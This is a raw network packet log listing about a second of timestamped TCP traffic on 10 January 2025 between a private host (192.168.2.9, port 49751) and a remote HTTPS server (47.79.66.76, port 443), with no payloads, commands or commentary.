Jan 10, 2025 07:52:14.297446012 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.297514915 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.312587023 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.312640905 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.312680960 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.312686920 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.312735081 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.312735081 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.313618898 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.313669920 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.313729048 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.313729048 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.313736916 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.313783884 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.314671040 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.314733028 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.314783096 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.314790010 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.314816952 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.314841986 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.334933043 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.334976912 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.335004091 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.335011005 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.335134983 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.335134983 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.353446960 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.353513956 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.353586912 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.353586912 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.353596926 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.353935003 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.365117073 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.365164042 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.365231037 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.365231037 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.365240097 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.365291119 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.374758005 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.374804974 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.374835968 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.374844074 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.374891043 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.374927044 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.400255919 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.400296926 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.400373936 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.400373936 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.400386095 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.400473118 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.421823025 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.421885967 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.421938896 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.421952009 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.422020912 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.422020912 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.422441006 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.422496080 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.422542095 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.422548056 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.422662020 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.422662020 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.423438072 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.423492908 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.423544884 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.423564911 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.423585892 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.423681974 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.445805073 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.445867062 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.445916891 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.445924997 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.446130037 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.446130037 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.473529100 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.473604918 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.473656893 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.473664045 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.473757982 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.473757982 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.488914013 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.488967896 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.489135981 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.489135981 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.489142895 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.489206076 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.502763987 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.502789021 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.502861977 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.502868891 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.502887011 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.502912998 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.535929918 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.535955906 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.536084890 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.536094904 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.536281109 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.556302071 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.556324959 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.556495905 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.556507111 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.556566954 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.557400942 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.557442904 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.557480097 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.557487011 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.557512045 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.557534933 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.558258057 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.558300972 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.558341026 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.558346987 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.558389902 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.558389902 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.581073999 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.581147909 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.581732988 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.581732988 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.581743002 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.581876993 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.607911110 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.607934952 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.608328104 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.608328104 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.608346939 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.608412027 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.623497963 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.623519897 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.623716116 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.623727083 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.624207973 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.637895107 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.637912035 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.638690948 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.638690948 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.638700962 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.639342070 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.671390057 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.671411991 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.671924114 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.671924114 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.671936035 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.671998978 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.689426899 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.689446926 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.689539909 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.689553976 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.689615011 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.690217972 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.690233946 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.690325022 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.690330029 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.690505981 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.691870928 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.691941977 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.692151070 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.692151070 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.692166090 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.692219019 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.714015961 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.714066982 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.714113951 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.714122057 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.714176893 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.714176893 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.742816925 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.742862940 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.742949963 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.742958069 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.742981911 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.743046999 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.756807089 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.756854057 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.757612944 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.757612944 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.757622957 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.757673025 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.770045042 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.770088911 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.770148039 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.770157099 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.770222902 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.770222902 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.803411007 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.803469896 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.803524017 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.803531885 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.803603888 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.803603888 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.814618111 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.814665079 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.814841986 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.814841986 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.814851046 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.814908028 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.815511942 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.815557957 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.815602064 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.815608025 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.815649033 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.815649033 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.816163063 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.816205978 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.816533089 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.816540003 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.816597939 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.816854000 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.816896915 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.816962957 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.816970110 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.816998959 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.817012072 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.833581924 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.833630085 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.833667994 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.833679914 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.833724022 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.833745003 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.849178076 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.849225998 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.849293947 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.849302053 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.849354029 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.849354029 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.862436056 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.862479925 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.862577915 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.862584114 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.862596035 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.862693071 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.895733118 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.895778894 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.895824909 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.895839930 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.895872116 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.895891905 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.907087088 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.907129049 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.907201052 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.907207966 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.907275915 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.907275915 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.907689095 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.907711983 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.907787085 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.907793045 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.907810926 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.907886982 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.908416033 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.908436060 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.908499956 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.908505917 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.908710957 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.909109116 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.909128904 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.909167051 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.909172058 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.909223080 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.909223080 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.926038980 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.926062107 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.926194906 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.926202059 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.926281929 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.941699982 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.941721916 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.941917896 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.941917896 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.941927910 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.942085028 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.955308914 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.955358028 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.955411911 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.955420017 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.955499887 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.988101006 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.988126040 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.988215923 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.988217115 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.988233089 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.988341093 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.999910116 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.999933004 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.000133991 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.000133991 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.000143051 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.000260115 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.000556946 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.000580072 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.000814915 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.000816107 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.000823021 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.000957966 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.001581907 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.001602888 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.001657963 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.001661062 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.001673937 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.001698971 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.001753092 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.001753092 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.001753092 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.001763105 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.001836061 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.018445015 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.018465042 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.018595934 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.018595934 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.018604994 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.018753052 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.034009933 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.034049988 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.034091949 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.034099102 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.034235954 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.034235954 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.047832012 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.047882080 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.047914982 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.047923088 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.047962904 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.047962904 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.080589056 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.080611944 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.080682039 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.080691099 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.080737114 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.092195988 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.092241049 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.092324972 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.092334986 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.092384100 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.092577934 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.092598915 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.092653036 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.092660904 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.092669964 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.092803001 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.093609095 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.093628883 CET	443	49751	47.79.66.76	192.168.2.9
